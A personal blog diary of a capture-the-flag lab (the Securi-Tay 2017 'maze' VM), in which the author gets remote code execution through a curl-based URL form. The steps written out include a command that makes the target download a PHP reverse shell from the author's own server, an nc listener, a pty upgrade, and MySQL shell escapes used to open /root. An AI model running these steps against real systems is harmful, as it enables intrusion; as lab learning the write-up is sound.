Googling around the web for a CTF (Capture The Flag) project to try my fledgling hacking skills on I found https://maze.pentest-challenge.co.uk/ the easiest one marked “novice” for something called Securi-Tay 2017. Hopefully their definition of “novice” is similar to mine. I call it a “walkthrough” but it’s not a guide intended to follow, more of a diary of what I did right and wrong.
On booting the CTF virtual machine, it tells us which IP address to target. In my case it’s 192.168.3.99. An nmap scan shows only port 80 running Apache/2.4.10 (Debian).
Browsing to the provided IP, we (hmm, not sure if I should keep referring to myself as we or not..I mean what if I’m the only person who ever reads this?…) are presented with the following screen which calls itself a connectivity checker:
Pressing the Go button submits the URL in the form field and presents an output with a GIF of a bodybuilder (cut from this screenshot).
Visiting that page we see that the GIF comes from there and not from the web app:
Entering in other valid URLs gives the same result – some stats about the transfer and then the page itself. So the webapp’s function appears to be to fetch a webpage, display it and provide some stats in it.
Messing with the input to see if anything interesting happens. It rejects charaters used in shell scripts like & and ! etc probably to stop you from constructing some fiendish command. Tells you’re being “naughty”. The cheek of some people!
Keeping the host valid but changing the filename to abc123.txt gives us:
This tells me errrr…what does it tell me?….well that it looked for a file at the host location but didn’t find it, that it’s running Apache (knew that anyway), and that it will look for and try to get non html files. So this points to the possibility of uploading a malicious file.
Changing the host to a non-valid one gives us more info. The process takes quite a time to come back so it’s clearly trying to resolve the name:
At bottom it says “curl (6) Could not resolve host:”. I know a little about curl and Googling this shows it to be a standard error for this tool. Curl is a command-line tool used to download content from the internet in a URL format. Funnily enough it’s on my ever-growing list of “thing I really need to learn about if I’m going to get anywhere with this”. We can test this directly on the Kali box that I have connected to the CTF VM:
[email protected]:~# curl 192.168.3.99/test.html
This retrieves the page with the gif from earlier, confirming that the connectivity analyser app is taking the string in the form field and passing it to a curl command and presenting the output. Further proof of this is found when we use the http://localhost/test.html -s in the connectivity app’s input box. In curl, the -s switch means “silent”, telling curl not to include and stats and sure enough we now just get the muscleman gif without all those curl stats at the bottom.
Further reading of the man curl gives us a horribly large list of options and switches. I’m looking for something that might allow me to write code to the web server. One that looks useful is the -o switch:
So it’s possible to have curl output to a file making an arbitrary code execution attack look likely. Let’s test this with: http://localhost/test.html -o test2.html to see if it will write the test.html file to a new file called test2.html. But it fails with: Warning: Failed to create the file test.txt: Permission denied curl: (23) Failed writing body (0 != 230) . So it looks like we don’t have permission to write the file. I guess this isn’t a big surprise. So we need to find a directory we can write to. Linux web servers tend to allow writing to folders like /tmp and /var/tmp but then accessing these from a url may well be impossible. Maybe there is another directory we don’t know about. From my basic pentesting course I learned that Dirbuster and its command-line friend “dirb” are designed to find these so lets try:
In case you don’t know, dirb brute-forces using a default list. You can supply big and custom lists but we didn’t need to here. It finds an uploads folder which looks promising since upload folders are likely to allow writing by definition. So let’s test it. After some messing around to find the correct file path syntax I hit upon: http://localhost/test.html -o ./uploads/test123.txt. On visiting the uploads folder I find a new file test123.txt in there containing the html code of the test.html file. This proves we can write arbitrary code to a file and access that file. Things are looking promising! On previous labs I’ve found some simple php shells which allow the traversing of the file system but ideally I want a reverse shell that can execute commands etc and so have a chance of escalating to root status.
So how are we going to get our php shell onto the server? We could add a php file to a website we own (like this website) but that seems like overkill. Googling for “simple web server linux command line” I find this handy page: https://www.pcsuggest.com/create-instant-lightweight-web-server-command-line/
I like the look of the python one. Kali has Python 3 so the command would be: python3 -m http.server
But first I need the php shell. Again googling around for php reverse shell gives a nice looking one on here: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
(I’ll be honest, I did try a couple of others, including a one-line job but for some reason I’m still not sure of, they produced empty files in the uploads folder so I’m only showing this one, that actually works.)
In kali, I use nano to create a new file called neilshell.php and paste the code from the reverse shell into it. There are two lines to edit: $ip – the IP address of your listener which is the IP of my kali box 192.168.3.25, and a $port – the port number. I chose 9999.
In order to send this to the web app we need to start the simple python http server mentioned before using the command: python3 -m http.server 9999 N.B. The port number can be anything. but because I’m an idiot who wasn’t concentrating I chose port 9999 again, but it doesn’t matter.
We then enter our command into the page’s form box: http://192.168.2.25:9999/neilshell.php -o ./uploads/neilshell.php which should read the shell file from our python http server on port 9999 and have the curl command output it to the uploads folder. The port number here needs to match the one the python3 server is on (9999) rather than the one specified in the php shell file, which is 9999 as well but there you go.
The python http server shows the GET request for the file so it looks like it’s working:
Checking the uploads folder we see our shell in there.
Before executing it we need to set up a listener. As mentioned, because I’m an idiot I set up the port on the on our kali box as 9999 too but it doesn’t matter because I can just kill the python server now it’s done it’s job and port 9999 is free. So….using the netcat command to listen in port 9999: nc -nvlp 9999 and then clicking on neilshell.php in Firefox this happens:
Cor blimey guv, that’s a shell and no small error! (notice how I’ve coloured my kali windows green and black now to show I’m an proper hacker).
The command id tells us we’re the user “www-data”. Navigating around I see I cannot get into the “root” folder so I’m guessing something I need, possibly the flag, will be in there. I can however get into the ctfuser directory in the home directory where there is a file called mydbconnchecker I’m guessing it’s checking a database connection. I try running it with ./mydbconnchecker
I try passing a parameter like “user” to it but nothing seems to make any difference so I guess it does what it does. It’s telling us (well me…does it really matter?) the machine is running a mysql database with the tables listed. I notice it says MySQL tables in mysql database making me wonder if the database is called MySQL or indeed mysql as well as being a mysql db, if you know what i mean. Anyway, it logs something to syslog. I tried find . -name syslog to find the file but produced a huge list of results which didn’t help. Must be a better way than that. Google says syslog is in usually in var/logs and so it was. It’s pretty huge and dense. I’m not up on grep (add that to the effing list) and all that so pasted it into Notepad in Windows and searched for mydbconnchecker and found something useful
===Connecting to database:mysql on 127.0.0.1:root:rorschach===
So we do have a database called mysql (a minor victory for my Sherlock Holmes-like powers of observation) on the localhost with username root and I hope, with password rorschach
Clearly the people who set this have given this to us for a reason but I start to wonder if I’m just following the lead here and not really doing a proper job. I know I should be doing swathes of enumeration and I can’t be bothered but I take a step back and try to find out what processes are running as root: ps -u root
OK so mysqld is running as root. mysqld is the main program for MySQL Server so that explains why they’re giving us that info. Note to self – check this shit out earlier next time.
At this point I got really confused. I logged onto the mysql database using mysql -u root -prorschach (no I don’t know why there’s no gap after the -p either) which kind of worked except nothing happened after and any commands I entered did nothing. I googled and googled and found nothing. So I came to the conclusion that it was some problem with the php shell. And then I remembered: it’s a php shell – NOT a proper shell at all! I’m my excitement I’d forgotten to do anything about that. I found this handy page: https://netsec.ws/?p=337 – the first suggestion is: python -c ‘import pty; pty.spawn(“/bin/sh”)’. I did go back later and try the other suggestions but this was the only one that worked on this system.
After running that, I tried logging onto mysql again and this time got a mysql prompt for my troubles. Great, so I’m onto mysql and I can do all the things I know about like listing tables. That doesn’t actually help though. What we need is to get mysql to run linux commands for us, using it’s root status to give us power we don’t have. This site: https://www.electrictoolbox.com/shell-commands-mysql-command-line-client/ has the answers. All you need to do is to use \! and a command. I change the permissions to the root folder:
Exiting out of mysql, I can now get into root.
Of course I can’t access the files as I didn’t chmod recursively so I go back and change the permissions of them. Also I tried dropping into a bash shell with \! bash
Either way I can now access the files and work out what to do. Run the flag-gen with my name as an argument and it gives me the unique flag hash:
So the flag has been captured. Never really got elevated to root status as such, so might revisit this to see what the story is there.
Learned a fair bit which will hopefully be useful. If anyone actually reads this and has any comments, suggestions etc then do post a comment.